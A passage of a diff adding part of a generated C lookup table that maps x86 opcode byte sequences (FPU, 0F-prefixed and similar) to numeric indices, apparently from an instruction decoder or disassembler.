+ /* 359 - _D9_E1 */ 0x21ee,
+ /* 35a - */ 0,
+ /* 35b - */ 0,
+ /* 35c - _D9_E4 */ 0x21ef,
+ /* 35d - _D9_E5 */ 0x21f0,
+ /* 35e - */ 0,
+ /* 35f - */ 0,
+ /* 360 - _D9_E8 */ 0x21f1,
+ /* 361 - _D9_E9 */ 0x21f2,
+ /* 362 - _D9_EA */ 0x21f3,
+ /* 363 - _D9_EB */ 0x21f4,
+ /* 364 - _D9_EC */ 0x21f5,
+ /* 365 - _D9_ED */ 0x21f6,
+ /* 366 - _D9_EE */ 0x21f7,
+ /* 367 - */ 0,
+ /* 368 - _D9_F0 */ 0x21f8,
+ /* 369 - _D9_F1 */ 0x21f9,
+ /* 36a - _D9_F2 */ 0x21fa,
+ /* 36b - _D9_F3 */ 0x21fb,
+ /* 36c - _D9_F4 */ 0x21fc,
+ /* 36d - _D9_F5 */ 0x21fd,
+ /* 36e - _D9_F6 */ 0x21fe,
+ /* 36f - _D9_F7 */ 0x21ff,
+ /* 370 - _D9_F8 */ 0x2200,
+ /* 371 - _D9_F9 */ 0x2201,
+ /* 372 - _D9_FA */ 0x2202,
+ /* 373 - _D9_FB */ 0x2203,
+ /* 374 - _D9_FC */ 0x2204,
+ /* 375 - _D9_FD */ 0x2205,
+ /* 376 - _D9_FE */ 0x2206,
+ /* 377 - _D9_FF */ 0x2207,
+ /* 378 - _DA_00 */ 0x2208,
+ /* 379 - _DA_01 */ 0x2209,
+ /* 37a - _DA_02 */ 0x220a,
+ /* 37b - _DA_03 */ 0x220b,
+ /* 37c - _DA_04 */ 0x220c,
+ /* 37d - _DA_05 */ 0x220d,
+ /* 37e - _DA_06 */ 0x220e,
+ /* 37f - _DA_07 */ 0x220f,
+ /* 380 - _DA_C0 */ 0x2210,
+ /* 381 - _DA_C0 */ 0x2211,
+ /* 382 - _DA_C0 */ 0x2212,
+ /* 383 - _DA_C0 */ 0x2213,
+ /* 384 - _DA_C0 */ 0x2214,
+ /* 385 - _DA_C0 */ 0x2215,
+ /* 386 - _DA_C0 */ 0x2216,
+ /* 387 - _DA_C0 */ 0x2217,
+ /* 388 - _DA_C8 */ 0x2218,
+ /* 389 - _DA_C8 */ 0x2219,
+ /* 38a - _DA_C8 */ 0x221a,
+ /* 38b - _DA_C8 */ 0x221b,
+ /* 38c - _DA_C8 */ 0x221c,
+ /* 38d - _DA_C8 */ 0x221d,
+ /* 38e - _DA_C8 */ 0x221e,
+ /* 38f - _DA_C8 */ 0x221f,
+ /* 390 - _DA_D0 */ 0x2220,
+ /* 391 - _DA_D0 */ 0x2221,
+ /* 392 - _DA_D0 */ 0x2222,
+ /* 393 - _DA_D0 */ 0x2223,
+ /* 394 - _DA_D0 */ 0x2224,
+ /* 395 - _DA_D0 */ 0x2225,
+ /* 396 - _DA_D0 */ 0x2226,
+ /* 397 - _DA_D0 */ 0x2227,
+ /* 398 - _DA_D8 */ 0x2228,
+ /* 399 - _DA_D8 */ 0x2229,
+ /* 39a - _DA_D8 */ 0x222a,
+ /* 39b - _DA_D8 */ 0x222b,
+ /* 39c - _DA_D8 */ 0x222c,
+ /* 39d - _DA_D8 */ 0x222d,
+ /* 39e - _DA_D8 */ 0x222e,
+ /* 39f - _DA_D8 */ 0x222f,
+ /* 3a0 - */ 0,
+ /* 3a1 - */ 0,
+ /* 3a2 - */ 0,
+ /* 3a3 - */ 0,
+ /* 3a4 - */ 0,
+ /* 3a5 - */ 0,
+ /* 3a6 - */ 0,
+ /* 3a7 - */ 0,
+ /* 3a8 - */ 0,
+ /* 3a9 - _DA_E9 */ 0x2230,
+ /* 3aa - */ 0,
+ /* 3ab - */ 0,
+ /* 3ac - */ 0,
+ /* 3ad - */ 0,
+ /* 3ae - */ 0,
+ /* 3af - */ 0,
+ /* 3b0 - */ 0,
+ /* 3b1 - */ 0,
+ /* 3b2 - */ 0,
+ /* 3b3 - */ 0,
+ /* 3b4 - */ 0,
+ /* 3b5 - */ 0,
+ /* 3b6 - */ 0,
+ /* 3b7 - */ 0,
+ /* 3b8 - */ 0,
+ /* 3b9 - */ 0,
+ /* 3ba - */ 0,
+ /* 3bb - */ 0,
+ /* 3bc - */ 0,
+ /* 3bd - */ 0,
+ /* 3be - */ 0,
+ /* 3bf - */ 0,
+ /* 3c0 - _DB_00 */ 0x2231,
+ /* 3c1 - _DB_01 */ 0x2232,
+ /* 3c2 - _DB_02 */ 0x2233,
+ /* 3c3 - _DB_03 */ 0x2234,
+ /* 3c4 - */ 0,
+ /* 3c5 - _DB_05 */ 0x2235,
+ /* 3c6 - */ 0,
+ /* 3c7 - _DB_07 */ 0x2236,
+ /* 3c8 - _DB_C0 */ 0x2237,
+ /* 3c9 - _DB_C0 */ 0x2238,
+ /* 3ca - _DB_C0 */ 0x2239,
+ /* 3cb - _DB_C0 */ 0x223a,
+ /* 3cc - _DB_C0 */ 0x223b,
+ /* 3cd - _DB_C0 */ 0x223c,
+ /* 3ce - _DB_C0 */ 0x223d,
+ /* 3cf - _DB_C0 */ 0x223e,
+ /* 3d0 - _DB_C8 */ 0x223f,
+ /* 3d1 - _DB_C8 */ 0x2240,
+ /* 3d2 - _DB_C8 */ 0x2241,
+ /* 3d3 - _DB_C8 */ 0x2242,
+ /* 3d4 - _DB_C8 */ 0x2243,
+ /* 3d5 - _DB_C8 */ 0x2244,
+ /* 3d6 - _DB_C8 */ 0x2245,
+ /* 3d7 - _DB_C8 */ 0x2246,
+ /* 3d8 - _DB_D0 */ 0x2247,
+ /* 3d9 - _DB_D0 */ 0x2248,
+ /* 3da - _DB_D0 */ 0x2249,
+ /* 3db - _DB_D0 */ 0x224a,
+ /* 3dc - _DB_D0 */ 0x224b,
+ /* 3dd - _DB_D0 */ 0x224c,
+ /* 3de - _DB_D0 */ 0x224d,
+ /* 3df - _DB_D0 */ 0x224e,
+ /* 3e0 - _DB_D8 */ 0x224f,
+ /* 3e1 - _DB_D8 */ 0x2250,
+ /* 3e2 - _DB_D8 */ 0x2251,
+ /* 3e3 - _DB_D8 */ 0x2252,
+ /* 3e4 - _DB_D8 */ 0x2253,
+ /* 3e5 - _DB_D8 */ 0x2254,
+ /* 3e6 - _DB_D8 */ 0x2255,
+ /* 3e7 - _DB_D8 */ 0x2256,
+ /* 3e8 - _DB_E0 */ 0x2257,
+ /* 3e9 - _DB_E1 */ 0x2258,
+ /* 3ea - _DB_E2 */ 0xcf3c,
+ /* 3eb - _DB_E3 */ 0xcf48,
+ /* 3ec - _DB_E4 */ 0x2259,
+ /* 3ed - */ 0,
+ /* 3ee - */ 0,
+ /* 3ef - */ 0,
+ /* 3f0 - _DB_E8 */ 0x225a,
+ /* 3f1 - _DB_E8 */ 0x225b,
+ /* 3f2 - _DB_E8 */ 0x225c,
+ /* 3f3 - _DB_E8 */ 0x225d,
+ /* 3f4 - _DB_E8 */ 0x225e,
+ /* 3f5 - _DB_E8 */ 0x225f,
+ /* 3f6 - _DB_E8 */ 0x2260,
+ /* 3f7 - _DB_E8 */ 0x2261,
+ /* 3f8 - _DB_F0 */ 0x2262,
+ /* 3f9 - _DB_F0 */ 0x2263,
+ /* 3fa - _DB_F0 */ 0x2264,
+ /* 3fb - _DB_F0 */ 0x2265,
+ /* 3fc - _DB_F0 */ 0x2266,
+ /* 3fd - _DB_F0 */ 0x2267,
+ /* 3fe - _DB_F0 */ 0x2268,
+ /* 3ff - _DB_F0 */ 0x2269,
+ /* 400 - */ 0,
+ /* 401 - */ 0,
+ /* 402 - */ 0,
+ /* 403 - */ 0,
+ /* 404 - */ 0,
+ /* 405 - */ 0,
+ /* 406 - */ 0,
+ /* 407 - */ 0,
+ /* 408 - _DC_00 */ 0x226a,
+ /* 409 - _DC_01 */ 0x226b,
+ /* 40a - _DC_02 */ 0x226c,
+ /* 40b - _DC_03 */ 0x226d,
+ /* 40c - _DC_04 */ 0x226e,
+ /* 40d - _DC_05 */ 0x226f,
+ /* 40e - _DC_06 */ 0x2270,
+ /* 40f - _DC_07 */ 0x2271,
+ /* 410 - _DC_C0 */ 0x2272,
+ /* 411 - _DC_C0 */ 0x2273,
+ /* 412 - _DC_C0 */ 0x2274,
+ /* 413 - _DC_C0 */ 0x2275,
+ /* 414 - _DC_C0 */ 0x2276,
+ /* 415 - _DC_C0 */ 0x2277,
+ /* 416 - _DC_C0 */ 0x2278,
+ /* 417 - _DC_C0 */ 0x2279,
+ /* 418 - _DC_C8 */ 0x227a,
+ /* 419 - _DC_C8 */ 0x227b,
+ /* 41a - _DC_C8 */ 0x227c,
+ /* 41b - _DC_C8 */ 0x227d,
+ /* 41c - _DC_C8 */ 0x227e,
+ /* 41d - _DC_C8 */ 0x227f,
+ /* 41e - _DC_C8 */ 0x2280,
+ /* 41f - _DC_C8 */ 0x2281,
+ /* 420 - */ 0,
+ /* 421 - */ 0,
+ /* 422 - */ 0,
+ /* 423 - */ 0,
+ /* 424 - */ 0,
+ /* 425 - */ 0,
+ /* 426 - */ 0,
+ /* 427 - */ 0,
+ /* 428 - */ 0,
+ /* 429 - */ 0,
+ /* 42a - */ 0,
+ /* 42b - */ 0,
+ /* 42c - */ 0,
+ /* 42d - */ 0,
+ /* 42e - */ 0,
+ /* 42f - */ 0,
+ /* 430 - _DC_E0 */ 0x2282,
+ /* 431 - _DC_E0 */ 0x2283,
+ /* 432 - _DC_E0 */ 0x2284,
+ /* 433 - _DC_E0 */ 0x2285,
+ /* 434 - _DC_E0 */ 0x2286,
+ /* 435 - _DC_E0 */ 0x2287,
+ /* 436 - _DC_E0 */ 0x2288,
+ /* 437 - _DC_E0 */ 0x2289,
+ /* 438 - _DC_E8 */ 0x228a,
+ /* 439 - _DC_E8 */ 0x228b,
+ /* 43a - _DC_E8 */ 0x228c,
+ /* 43b - _DC_E8 */ 0x228d,
+ /* 43c - _DC_E8 */ 0x228e,
+ /* 43d - _DC_E8 */ 0x228f,
+ /* 43e - _DC_E8 */ 0x2290,
+ /* 43f - _DC_E8 */ 0x2291,
+ /* 440 - _DC_F0 */ 0x2292,
+ /* 441 - _DC_F0 */ 0x2293,
+ /* 442 - _DC_F0 */ 0x2294,
+ /* 443 - _DC_F0 */ 0x2295,
+ /* 444 - _DC_F0 */ 0x2296,
+ /* 445 - _DC_F0 */ 0x2297,
+ /* 446 - _DC_F0 */ 0x2298,
+ /* 447 - _DC_F0 */ 0x2299,
+ /* 448 - _DC_F8 */ 0x229a,
+ /* 449 - _DC_F8 */ 0x229b,
+ /* 44a - _DC_F8 */ 0x229c,
+ /* 44b - _DC_F8 */ 0x229d,
+ /* 44c - _DC_F8 */ 0x229e,
+ /* 44d - _DC_F8 */ 0x229f,
+ /* 44e - _DC_F8 */ 0x22a0,
+ /* 44f - _DC_F8 */ 0x22a1,
+ /* 450 - _DD_00 */ 0x22a2,
+ /* 451 - _DD_01 */ 0x22a3,
+ /* 452 - _DD_02 */ 0x22a4,
+ /* 453 - _DD_03 */ 0x22a5,
+ /* 454 - _DD_04 */ 0x22a6,
+ /* 455 - */ 0,
+ /* 456 - _DD_06 */ 0xcf54,
+ /* 457 - _DD_07 */ 0xcf60,
+ /* 458 - _DD_C0 */ 0x22a7,
+ /* 459 - _DD_C0 */ 0x22a8,
+ /* 45a - _DD_C0 */ 0x22a9,
+ /* 45b - _DD_C0 */ 0x22aa,
+ /* 45c - _DD_C0 */ 0x22ab,
+ /* 45d - _DD_C0 */ 0x22ac,
+ /* 45e - _DD_C0 */ 0x22ad,
+ /* 45f - _DD_C0 */ 0x22ae,
+ /* 460 - */ 0,
+ /* 461 - */ 0,
+ /* 462 - */ 0,
+ /* 463 - */ 0,
+ /* 464 - */ 0,
+ /* 465 - */ 0,
+ /* 466 - */ 0,
+ /* 467 - */ 0,
+ /* 468 - _DD_D0 */ 0x22af,
+ /* 469 - _DD_D0 */ 0x22b0,
+ /* 46a - _DD_D0 */ 0x22b1,
+ /* 46b - _DD_D0 */ 0x22b2,
+ /* 46c - _DD_D0 */ 0x22b3,
+ /* 46d - _DD_D0 */ 0x22b4,
+ /* 46e - _DD_D0 */ 0x22b5,
+ /* 46f - _DD_D0 */ 0x22b6,
+ /* 470 - _DD_D8 */ 0x22b7,
+ /* 471 - _DD_D8 */ 0x22b8,
+ /* 472 - _DD_D8 */ 0x22b9,
+ /* 473 - _DD_D8 */ 0x22ba,
+ /* 474 - _DD_D8 */ 0x22bb,
+ /* 475 - _DD_D8 */ 0x22bc,
+ /* 476 - _DD_D8 */ 0x22bd,
+ /* 477 - _DD_D8 */ 0x22be,
+ /* 478 - _DD_E0 */ 0x22bf,
+ /* 479 - _DD_E1 */ 0x22c0,
+ /* 47a - _DD_E0 */ 0x22c1,
+ /* 47b - _DD_E0 */ 0x22c2,
+ /* 47c - _DD_E0 */ 0x22c3,
+ /* 47d - _DD_E0 */ 0x22c4,
+ /* 47e - _DD_E0 */ 0x22c5,
+ /* 47f - _DD_E0 */ 0x22c6,
+ /* 480 - _DD_E8 */ 0x22c7,
+ /* 481 - _DD_E9 */ 0x22c8,
+ /* 482 - _DD_E8 */ 0x22c9,
+ /* 483 - _DD_E8 */ 0x22ca,
+ /* 484 - _DD_E8 */ 0x22cb,
+ /* 485 - _DD_E8 */ 0x22cc,
+ /* 486 - _DD_E8 */ 0x22cd,
+ /* 487 - _DD_E8 */ 0x22ce,
+ /* 488 - */ 0,
+ /* 489 - */ 0,
+ /* 48a - */ 0,
+ /* 48b - */ 0,
+ /* 48c - */ 0,
+ /* 48d - */ 0,
+ /* 48e - */ 0,
+ /* 48f - */ 0,
+ /* 490 - */ 0,
+ /* 491 - */ 0,
+ /* 492 - */ 0,
+ /* 493 - */ 0,
+ /* 494 - */ 0,
+ /* 495 - */ 0,
+ /* 496 - */ 0,
+ /* 497 - */ 0,
+ /* 498 - _DE_00 */ 0x22cf,
+ /* 499 - _DE_01 */ 0x22d0,
+ /* 49a - _DE_02 */ 0x22d1,
+ /* 49b - _DE_03 */ 0x22d2,
+ /* 49c - _DE_04 */ 0x22d3,
+ /* 49d - _DE_05 */ 0x22d4,
+ /* 49e - _DE_06 */ 0x22d5,
+ /* 49f - _DE_07 */ 0x22d6,
+ /* 4a0 - _DE_C0 */ 0x22d7,
+ /* 4a1 - _DE_C1 */ 0x22d8,
+ /* 4a2 - _DE_C0 */ 0x22d9,
+ /* 4a3 - _DE_C0 */ 0x22da,
+ /* 4a4 - _DE_C0 */ 0x22db,
+ /* 4a5 - _DE_C0 */ 0x22dc,
+ /* 4a6 - _DE_C0 */ 0x22dd,
+ /* 4a7 - _DE_C0 */ 0x22de,
+ /* 4a8 - _DE_C8 */ 0x22df,
+ /* 4a9 - _DE_C9 */ 0x22e0,
+ /* 4aa - _DE_C8 */ 0x22e1,
+ /* 4ab - _DE_C8 */ 0x22e2,
+ /* 4ac - _DE_C8 */ 0x22e3,
+ /* 4ad - _DE_C8 */ 0x22e4,
+ /* 4ae - _DE_C8 */ 0x22e5,
+ /* 4af - _DE_C8 */ 0x22e6,
+ /* 4b0 - */ 0,
+ /* 4b1 - */ 0,
+ /* 4b2 - */ 0,
+ /* 4b3 - */ 0,
+ /* 4b4 - */ 0,
+ /* 4b5 - */ 0,
+ /* 4b6 - */ 0,
+ /* 4b7 - */ 0,
+ /* 4b8 - */ 0,
+ /* 4b9 - _DE_D9 */ 0x22e7,
+ /* 4ba - */ 0,
+ /* 4bb - */ 0,
+ /* 4bc - */ 0,
+ /* 4bd - */ 0,
+ /* 4be - */ 0,
+ /* 4bf - */ 0,
+ /* 4c0 - _DE_E0 */ 0x22e8,
+ /* 4c1 - _DE_E1 */ 0x22e9,
+ /* 4c2 - _DE_E0 */ 0x22ea,
+ /* 4c3 - _DE_E0 */ 0x22eb,
+ /* 4c4 - _DE_E0 */ 0x22ec,
+ /* 4c5 - _DE_E0 */ 0x22ed,
+ /* 4c6 - _DE_E0 */ 0x22ee,
+ /* 4c7 - _DE_E0 */ 0x22ef,
+ /* 4c8 - _DE_E8 */ 0x22f0,
+ /* 4c9 - _DE_E9 */ 0x22f1,
+ /* 4ca - _DE_E8 */ 0x22f2,
+ /* 4cb - _DE_E8 */ 0x22f3,
+ /* 4cc - _DE_E8 */ 0x22f4,
+ /* 4cd - _DE_E8 */ 0x22f5,
+ /* 4ce - _DE_E8 */ 0x22f6,
+ /* 4cf - _DE_E8 */ 0x22f7,
+ /* 4d0 - _DE_F0 */ 0x22f8,
+ /* 4d1 - _DE_F1 */ 0x22f9,
+ /* 4d2 - _DE_F0 */ 0x22fa,
+ /* 4d3 - _DE_F0 */ 0x22fb,
+ /* 4d4 - _DE_F0 */ 0x22fc,
+ /* 4d5 - _DE_F0 */ 0x22fd,
+ /* 4d6 - _DE_F0 */ 0x22fe,
+ /* 4d7 - _DE_F0 */ 0x22ff,
+ /* 4d8 - _DE_F8 */ 0x2300,
+ /* 4d9 - _DE_F9 */ 0x2301,
+ /* 4da - _DE_F8 */ 0x2302,
+ /* 4db - _DE_F8 */ 0x2303,
+ /* 4dc - _DE_F8 */ 0x2304,
+ /* 4dd - _DE_F8 */ 0x2305,
+ /* 4de - _DE_F8 */ 0x2306,
+ /* 4df - _DE_F8 */ 0x2307,
+ /* 4e0 - _DF_00 */ 0x2308,
+ /* 4e1 - _DF_01 */ 0x2309,
+ /* 4e2 - _DF_02 */ 0x230a,
+ /* 4e3 - _DF_03 */ 0x230b,
+ /* 4e4 - _DF_04 */ 0x230c,
+ /* 4e5 - _DF_05 */ 0x230d,
+ /* 4e6 - _DF_06 */ 0x230e,
+ /* 4e7 - _DF_07 */ 0x230f,
+ /* 4e8 - */ 0,
+ /* 4e9 - */ 0,
+ /* 4ea - */ 0,
+ /* 4eb - */ 0,
+ /* 4ec - */ 0,
+ /* 4ed - */ 0,
+ /* 4ee - */ 0,
+ /* 4ef - */ 0,
+ /* 4f0 - */ 0,
+ /* 4f1 - */ 0,
+ /* 4f2 - */ 0,
+ /* 4f3 - */ 0,
+ /* 4f4 - */ 0,
+ /* 4f5 - */ 0,
+ /* 4f6 - */ 0,
+ /* 4f7 - */ 0,
+ /* 4f8 - */ 0,
+ /* 4f9 - */ 0,
+ /* 4fa - */ 0,
+ /* 4fb - */ 0,
+ /* 4fc - */ 0,
+ /* 4fd - */ 0,
+ /* 4fe - */ 0,
+ /* 4ff - */ 0,
+ /* 500 - */ 0,
+ /* 501 - */ 0,
+ /* 502 - */ 0,
+ /* 503 - */ 0,
+ /* 504 - */ 0,
+ /* 505 - */ 0,
+ /* 506 - */ 0,
+ /* 507 - */ 0,
+ /* 508 - _DF_E0 */ 0xcf6c,
+ /* 509 - */ 0,
+ /* 50a - */ 0,
+ /* 50b - */ 0,
+ /* 50c - */ 0,
+ /* 50d - */ 0,
+ /* 50e - */ 0,
+ /* 50f - */ 0,
+ /* 510 - _DF_E8 */ 0x2310,
+ /* 511 - _DF_E8 */ 0x2311,
+ /* 512 - _DF_E8 */ 0x2312,
+ /* 513 - _DF_E8 */ 0x2313,
+ /* 514 - _DF_E8 */ 0x2314,
+ /* 515 - _DF_E8 */ 0x2315,
+ /* 516 - _DF_E8 */ 0x2316,
+ /* 517 - _DF_E8 */ 0x2317,
+ /* 518 - _DF_F0 */ 0x2318,
+ /* 519 - _DF_F0 */ 0x2319,
+ /* 51a - _DF_F0 */ 0x231a,
+ /* 51b - _DF_F0 */ 0x231b,
+ /* 51c - _DF_F0 */ 0x231c,
+ /* 51d - _DF_F0 */ 0x231d,
+ /* 51e - _DF_F0 */ 0x231e,
+ /* 51f - _DF_F0 */ 0x231f,
+ /* 520 - */ 0,
+ /* 521 - */ 0,
+ /* 522 - */ 0,
+ /* 523 - */ 0,
+ /* 524 - */ 0,
+ /* 525 - */ 0,
+ /* 526 - */ 0,
+ /* 527 - */ 0,
+ /* 528 - _F6_00 */ 0x2320,
+ /* 529 - */ 0,
+ /* 52a - _F6_02 */ 0x2321,
+ /* 52b - _F6_03 */ 0x2322,
+ /* 52c - _F6_04 */ 0x2323,
+ /* 52d - _F6_05 */ 0x2324,
+ /* 52e - _F6_06 */ 0x2325,
+ /* 52f - _F6_07 */ 0x2326,
+ /* 530 - _F7_00 */ 0x2327,
+ /* 531 - */ 0,
+ /* 532 - _F7_02 */ 0x2328,
+ /* 533 - _F7_03 */ 0x2329,
+ /* 534 - _F7_04 */ 0x232a,
+ /* 535 - _F7_05 */ 0x232b,
+ /* 536 - _F7_06 */ 0x232c,
+ /* 537 - _F7_07 */ 0x232d,
+ /* 538 - _FE_00 */ 0x232e,
+ /* 539 - _FE_01 */ 0x232f,
+ /* 53a - */ 0,
+ /* 53b - */ 0,
+ /* 53c - */ 0,
+ /* 53d - */ 0,
+ /* 53e - */ 0,
+ /* 53f - */ 0,
+ /* 540 - _FF_00 */ 0x2330,
+ /* 541 - _FF_01 */ 0x2331,
+ /* 542 - _FF_02 */ 0x2332,
+ /* 543 - _FF_03 */ 0x2333,
+ /* 544 - _FF_04 */ 0x2334,
+ /* 545 - _FF_05 */ 0x2335,
+ /* 546 - _FF_06 */ 0x2336,
+ /* 547 - */ 0,
+ /* 548 - _0F_00_00 */ 0x2337,
+ /* 549 - _0F_00_01 */ 0x2338,
+ /* 54a - _0F_00_02 */ 0x2339,
+ /* 54b - _0F_00_03 */ 0x233a,
+ /* 54c - _0F_00_04 */ 0x233b,
+ /* 54d - _0F_00_05 */ 0x233c,
+ /* 54e - */ 0,
+ /* 54f - */ 0,
+ /* 550 - _0F_01_00 */ 0x233d,
+ /* 551 - _0F_01_01 */ 0x233e,
+ /* 552 - _0F_01_02 */ 0x233f,
+ /* 553 - _0F_01_03 */ 0x2340,
+ /* 554 - _0F_01_04 */ 0x2341,
+ /* 555 - */ 0,
+ /* 556 - _0F_01_06 */ 0x2342,
+ /* 557 - _0F_01_07 */ 0x2343,
+ /* 558 - */ 0,
+ /* 559 - _0F_01_C1 */ 0x2344,
+ /* 55a - _0F_01_C2 */ 0x2345,
+ /* 55b - _0F_01_C3 */ 0x2346,
+ /* 55c - _0F_01_C4 */ 0x2347,
+ /* 55d - */ 0,
+ /* 55e - */ 0,
+ /* 55f - */ 0,
+ /* 560 - _0F_01_C8 */ 0x2348,
+ /* 561 - _0F_01_C9 */ 0x2349,
+ /* 562 - */ 0,
+ /* 563 - */ 0,
+ /* 564 - */ 0,
+ /* 565 - */ 0,
+ /* 566 - */ 0,
+ /* 567 - */ 0,
+ /* 568 - _0F_01_D0 */ 0x234a,
+ /* 569 - _0F_01_D1 */ 0x234b,
+ /* 56a - */ 0,
+ /* 56b - */ 0,
+ /* 56c - _0F_01_D4 */ 0x234c,
+ /* 56d - _0F_01_D5 */ 0x234d,
+ /* 56e - */ 0,
+ /* 56f - */ 0,
+ /* 570 - _0F_01_D8 */ 0x234e,
+ /* 571 - _0F_01_D9 */ 0x234f,
+ /* 572 - _0F_01_DA */ 0x2350,
+ /* 573 - _0F_01_DB */ 0x2351,
+ /* 574 - _0F_01_DC */ 0x2352,
+ /* 575 - _0F_01_DD */ 0x2353,
+ /* 576 - _0F_01_DE */ 0x2354,
+ /* 577 - _0F_01_DF */ 0x2355,
+ /* 578 - */ 0,
+ /* 579 - */ 0,
+ /* 57a - */ 0,
+ /* 57b - */ 0,
+ /* 57c - */ 0,
+ /* 57d - */ 0,
+ /* 57e - */ 0,
+ /* 57f - */ 0,
+ /* 580 - */ 0,
+ /* 581 - */ 0,
+ /* 582 - */ 0,
+ /* 583 - */ 0,
+ /* 584 - */ 0,
+ /* 585 - */ 0,
+ /* 586 - */ 0,
+ /* 587 - */ 0,
+ /* 588 - */ 0,
+ /* 589 - */ 0,
+ /* 58a - */ 0,
+ /* 58b - */ 0,
+ /* 58c - */ 0,
+ /* 58d - */ 0,
+ /* 58e - */ 0,
+ /* 58f - */ 0,
+ /* 590 - _0F_01_F8 */ 0x2356,
+ /* 591 - _0F_01_F9 */ 0x2357,
+ /* 592 - */ 0,
+ /* 593 - */ 0,
+ /* 594 - */ 0,
+ /* 595 - */ 0,
+ /* 596 - */ 0,
+ /* 597 - */ 0,
+ /* 598 - _0F_0D_00 */ 0x2358,
+ /* 599 - _0F_0D_01 */ 0x2359,
+ /* 59a - */ 0,
+ /* 59b - */ 0,
+ /* 59c - */ 0,
+ /* 59d - */ 0,
+ /* 59e - */ 0,
+ /* 59f - */ 0,
+ /* 5a0 - */ 0,
+ /* 5a1 - */ 0,
+ /* 5a2 - */ 0,
+ /* 5a3 - */ 0,
+ /* 5a4 - */ 0,
+ /* 5a5 - */ 0,
+ /* 5a6 - */ 0,
+ /* 5a7 - */ 0,
+ /* 5a8 - */ 0,
+ /* 5a9 - */ 0,
+ /* 5aa - */ 0,
+ /* 5ab - */ 0,
+ /* 5ac - _0F_0F_0C */ 0x235a,
+ /* 5ad - _0F_0F_0D */ 0x235b,
+ /* 5ae - */ 0,
+ /* 5af - */ 0,
+ /* 5b0 - */ 0,
+ /* 5b1 - */ 0,
+ /* 5b2 - */ 0,
+ /* 5b3 - */ 0,
+ /* 5b4 - */ 0,
+ /* 5b5 - */ 0,
+ /* 5b6 - */ 0,
+ /* 5b7 - */ 0,
+ /* 5b8 - */ 0,
+ /* 5b9 - */ 0,
+ /* 5ba - */ 0,
+ /* 5bb - */ 0,
+ /* 5bc - _0F_0F_1C */ 0x235c,
+ /* 5bd - _0F_0F_1D */ 0x235d,
+ /* 5be - */ 0,
+ /* 5bf - */ 0,
+ /* 5c0 - */ 0,
+ /* 5c1 - */ 0,
+ /* 5c2 - */ 0,
+ /* 5c3 - */ 0,
+ /* 5c4 - */ 0,
+ /* 5c5 - */ 0,
+ /* 5c6 - */ 0,
+ /* 5c7 - */ 0,
+ /* 5c8 - */ 0,
+ /* 5c9 - */ 0,
+ /* 5ca - */ 0,
+ /* 5cb - */ 0,
+ /* 5cc - */ 0,
+ /* 5cd - */ 0,
+ /* 5ce - */ 0,
+ /* 5cf - */ 0,
+ /* 5d0 - */ 0,
+ /* 5d1 - */ 0,
+ /* 5d2 - */ 0,
+ /* 5d3 - */ 0,
+ /* 5d4 - */ 0,
+ /* 5d5 - */ 0,
+ /* 5d6 - */ 0,
+ /* 5d7 - */ 0,
+ /* 5d8 - */ 0,
+ /* 5d9 - */ 0,
+ /* 5da - */ 0,
+ /* 5db - */ 0,
+ /* 5dc - */ 0,
+ /* 5dd - */ 0,
+ /* 5de - */ 0,
+ /* 5df - */ 0,
+ /* 5e0 - */ 0,
+ /* 5e1 - */ 0,
+ /* 5e2 - */ 0,
+ /* 5e3 - */ 0,
+ /* 5e4 - */ 0,
+ /* 5e5 - */ 0,
+ /* 5e6 - */ 0,
+ /* 5e7 - */ 0,
+ /* 5e8 - */ 0,
+ /* 5e9 - */ 0,
+ /* 5ea - */ 0,
+ /* 5eb - */ 0,
+ /* 5ec - */ 0,
+ /* 5ed - */ 0,
+ /* 5ee - */ 0,
+ /* 5ef - */ 0,
+ /* 5f0 - */ 0,
+ /* 5f1 - */ 0,
+ /* 5f2 - */ 0,
+ /* 5f3 - */ 0,
+ /* 5f4 - */ 0,
+ /* 5f5 - */ 0,
+ /* 5f6 - */ 0,
+ /* 5f7 - */ 0,
+ /* 5f8 - */ 0,
+ /* 5f9 - */ 0,
+ /* 5fa - */ 0,
+ /* 5fb - */ 0,
+ /* 5fc - */ 0,
+ /* 5fd - */ 0,
+ /* 5fe - */ 0,
+ /* 5ff - */ 0,
+ /* 600 - */ 0,
+ /* 601 - */ 0,
+ /* 602 - */ 0,
+ /* 603 - */ 0,
+ /* 604 - */ 0,
+ /* 605 - */ 0,
+ /* 606 - */ 0,
+ /* 607 - */ 0,
+ /* 608 - */ 0,
+ /* 609 - */ 0,
+ /* 60a - */ 0,
+ /* 60b - */ 0,
+ /* 60c - */ 0,
+ /* 60d - */ 0,
+ /* 60e - */ 0,
+ /* 60f - */ 0,
+ /* 610 - */ 0,
+ /* 611 - */ 0,
+ /* 612 - */ 0,
+ /* 613 - */ 0,
+ /* 614 - */ 0,
+ /* 615 - */ 0,
+ /* 616 - */ 0,
+ /* 617 - */ 0,
+ /* 618 - */ 0,
+ /* 619 - */ 0,
+ /* 61a - */ 0,
+ /* 61b - */ 0,
+ /* 61c - */ 0,
+ /* 61d - */ 0,
+ /* 61e - */ 0,
+ /* 61f - */ 0,
+ /* 620 - */ 0,
+ /* 621 - */ 0,
+ /* 622 - */ 0,
+ /* 623 - */ 0,
+ /* 624 - */ 0,
+ /* 625 - */ 0,
+ /* 626 - */ 0,
+ /* 627 - */ 0,
+ /* 628 - */ 0,
+ /* 629 - */ 0,
+ /* 62a - _0F_0F_8A */ 0x235e,
+ /* 62b - */ 0,
+ /* 62c - */ 0,
+ /* 62d - */ 0,
+ /* 62e - _0F_0F_8E */ 0x235f,
+ /* 62f - */ 0,
+ /* 630 - _0F_0F_90 */ 0x2360,
+ /* 631 - */ 0,
+ /* 632 - */ 0,
+ /* 633 - */ 0,
+ /* 634 - _0F_0F_94 */ 0x2361,
+ /* 635 - */ 0,
+ /* 636 - _0F_0F_96 */ 0x2362,
+ /* 637 - _0F_0F_97 */ 0x2363,
+ /* 638 - */ 0,
+ /* 639 - */ 0,
+ /* 63a - _0F_0F_9A */ 0x2364,
+ /* 63b - */ 0,
+ /* 63c - */ 0,
+ /* 63d - */ 0,
+ /* 63e - _0F_0F_9E */ 0x2365,
+ /* 63f - */ 0,
+ /* 640 - _0F_0F_A0 */ 0x2366,
+ /* 641 - */ 0,
+ /* 642 - */ 0,
+ /* 643 - */ 0,
+ /* 644 - _0F_0F_A4 */ 0x2367,
+ /* 645 - */ 0,
+ /* 646 - _0F_0F_A6 */ 0x2368,
+ /* 647 - _0F_0F_A7 */ 0x2369,
+ /* 648 - */ 0,
+ /* 649 - */ 0,
+ /* 64a - _0F_0F_AA */ 0x236a,
